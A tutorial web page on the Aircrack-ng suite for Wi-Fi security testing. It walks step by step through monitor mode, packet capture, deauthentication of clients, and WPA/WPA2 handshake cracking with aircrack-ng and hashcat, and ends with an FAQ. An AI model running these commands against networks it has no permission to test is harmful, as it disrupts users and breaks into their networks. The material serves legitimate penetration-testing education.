GO KALI FREE
AdvancedWireless Security

Aircrack-ng Guide: Complete Wireless Security Assessment

A comprehensive guide to the Aircrack-ng suite for wireless security testing including monitor mode, packet capture, deauthentication attacks, WPA/WPA2 cracking, and WEP analysis.

#Aircrack-ng#Wireless Security#WiFi#Penetration Testing#Packet Capture

The Swiss Army Knife of Wireless Security

Aircrack-ng is a complete suite of tools for assessing WiFi network security architecture. It provides capabilities across the entire wireless assessment workflow: monitoring (packet capture), attacking (deauthentication, rogue APs), testing (WEP and WPA/WPA2 PSK cracking), and analysis. Pre-installed on Kali Linux, it is the industry standard toolkit for understanding weaknesses in wireless security deployments.

Prerequisites

  • **WiFi Security Basics** — Wireless protocols and encryption
  • **Wireless Adapter** — Monitor mode capable hardware

    • Aircrack-ng Suite Components

    airmon-ng — Monitor Mode Control

    # Check interfaces and enable monitor mode
airmon-ng
airmon-ng check kill
airmon-ng start wlan0
airmon-ng start wlan0 6   # Specific channel

    airodump-ng — Packet Capture

    # Basic AP discovery
airodump-ng wlan0mon

# Target specific AP
airodump-ng -c 6 --bssid AP_MAC -w capture wlan0mon

# 5GHz band
airodump-ng --band a wlan0mon

    aireplay-ng — Packet Injection

    # Deauthentication attack
aireplay-ng -0 5 -a AP_MAC -c CLIENT_MAC wlan0mon

# Fake authentication
aireplay-ng -1 0 -e NETWORK_SSID -a AP_MAC wlan0mon

    aircrack-ng — Password Cracking

    aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

    Practical Attack Workflow

    # 1. Enable monitor mode
airmon-ng start wlan0

# 2. Discover networks
airodump-ng wlan0mon

# 3. Capture target traffic
airodump-ng -c 6 --bssid AP_MAC -w capture wlan0mon

# 4. Deauth client for handshake
aireplay-ng -0 2 -a AP_MAC -c CLIENT_MAC wlan0mon

# 5. Crack passphrase
aircrack-ng -w wordlist.txt capture-01.cap

    Hashcat Integration

    GPU-accelerated cracking is significantly faster than aircrack-ng's CPU implementation:

    cap2hccapx capture-01.cap output.hccapx
hashcat -m 2500 output.hccapx /usr/share/wordlists/rockyou.txt
hashcat -m 2500 output.hccapx /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

    Common Mistakes

  • Using incompatible wireless adapters (not all support monitor mode)
  • Skipping airmon-ng check kill (NetworkManager interferes)
  • Capturing on wrong channel
  • Using weak wordlists

    • Best Practices

  • Use **compatible hardware** (Atheros, Ralink, Realtek chipsets)
  • Position antenna for optimal signal
  • Verify handshake integrity with `aircrack-ng capture.cap`
  • Use **hashcat** for GPU-accelerated cracking
  • Only test authorized networks

    • Related Tools

  • **hashcat** — GPU-accelerated cracking
  • **Reaver/Bully** — WPS PIN attack
  • **hcxdumptool** — PMKID capture
  • **Wifite** — Automated wireless auditing

    • Related Articles

  • WPA2 Explained: Security Protocols and Vulnerabilities
  • WPA3 Explained: Next-Generation WiFi Security
  • Wireless Reconnaissance: Discovering WiFi Networks
  • Evil Twin Attacks: Rogue Access Point Threats and Detection

    • Summary

    Aircrack-ng is the essential toolkit for wireless security assessment. From monitor mode to handshake capture and cracking, the suite provides all capabilities for thorough wireless testing. Success depends on compatible hardware, proper technique, and strong wordlists.

    Knowledge Check

  • What is the purpose of airmon-ng?
  • Why must NetworkManager be stopped?
  • How does deauth help capture a handshake?
  • Why is hashcat preferred over aircrack-ng for cracking?

    • Frequently Asked Questions

    What is Aircrack-ng?

    Aircrack-ng is a complete WiFi security assessment suite including airmon-ng (monitor mode), airodump-ng (packet capture), aireplay-ng (packet injection), and aircrack-ng (password cracking). It is pre-installed on Kali Linux and is the industry standard for wireless penetration testing.

    What is the purpose of airmon-ng?

    airmon-ng manages monitor mode on wireless adapters. It kills interfering processes (NetworkManager, wpa_supplicant), enables monitor mode, and can lock to specific channels. Without monitor mode, you cannot capture raw 802.11 frames needed for wireless attacks.

    Why must NetworkManager be stopped before using Aircrack-ng?

    NetworkManager continuously scans for networks and manages connections, which interferes with monitor mode and packet injection. Running `airmon-ng check kill` stops these processes, allowing the adapter to operate in pure monitor mode without conflicts.

    How does deauthentication help capture a WPA handshake?

    A WPA handshake occurs when a client connects to an AP. By sending deauth frames to disconnect a client, the attacker forces it to reconnect, generating the four-way handshake that can be captured in monitor mode for offline cracking.

    Why is hashcat preferred over aircrack-ng for password cracking?

    hashcat uses GPU acceleration, providing significantly faster cracking speeds than aircrack-ng's CPU-based approach. For WPA2 handshakes, hashcat can test millions of passwords per second compared to thousands with aircrack-ng.

    What wireless adapters support monitor mode for Aircrack-ng?

    Adapters with Atheros, Ralink, or Realtek chipsets typically support monitor mode. The Alfa AWUS036ACH and AWUS036ACM are popular choices. Built-in laptop WiFi cards often lack monitor mode support — check chipset compatibility before purchasing.

    How do you capture a WPA2 handshake with Aircrack-ng?

    Enable monitor mode with `airmon-ng start wlan0`, discover networks with `airodump-ng`, target a specific AP with `airodump-ng -c CHANNEL --bssid AP_MAC`, force a client deauth with `aireplay-ng -0`, and capture the handshake in the .cap file.

    What wordlist is best for WPA2 cracking?

    The rockyou.txt wordlist is commonly used but limited. For better results, combine larger wordlists (SecLists) with rule files (hashcat's best64.rule) to generate password variations. Custom wordlists based on target-specific information are most effective.

    What is the difference between airodump-ng and aircrack-ng?

    airodump-ng captures and displays raw 802.11 frames, showing APs, clients, signal strength, and encryption types. aircrack-ng performs the actual password cracking against captured handshakes. They serve different phases of the assessment workflow.

    How do you verify a captured handshake is valid?

    Open the capture file in aircrack-ng — it will display the number of valid handshakes found. A valid WPA2 handshake contains all four EAPOL messages. You can also filter for EAPOL frames in Wireshark to confirm handshake integrity.

    What is PMKID capture and how does it differ from handshake capture?

    PMKID attacks capture a single EAPOL frame containing the RSN IE, eliminating the need for client deauthentication or waiting for connections. Use hcxdumptool for PMKID capture — it is faster but only works against APs that include PMKID in their first frame.

    Can Aircrack-ng crack WPA3 networks?

    WPA3's SAE handshake prevents traditional offline dictionary attacks. Aircrack-ng cannot crack WPA3 passphrases using captured SAE handshakes. The Dragonblood side-channel attacks are theoretical and require specific conditions — WPA3 is effectively resistant to standard Aircrack-ng attacks.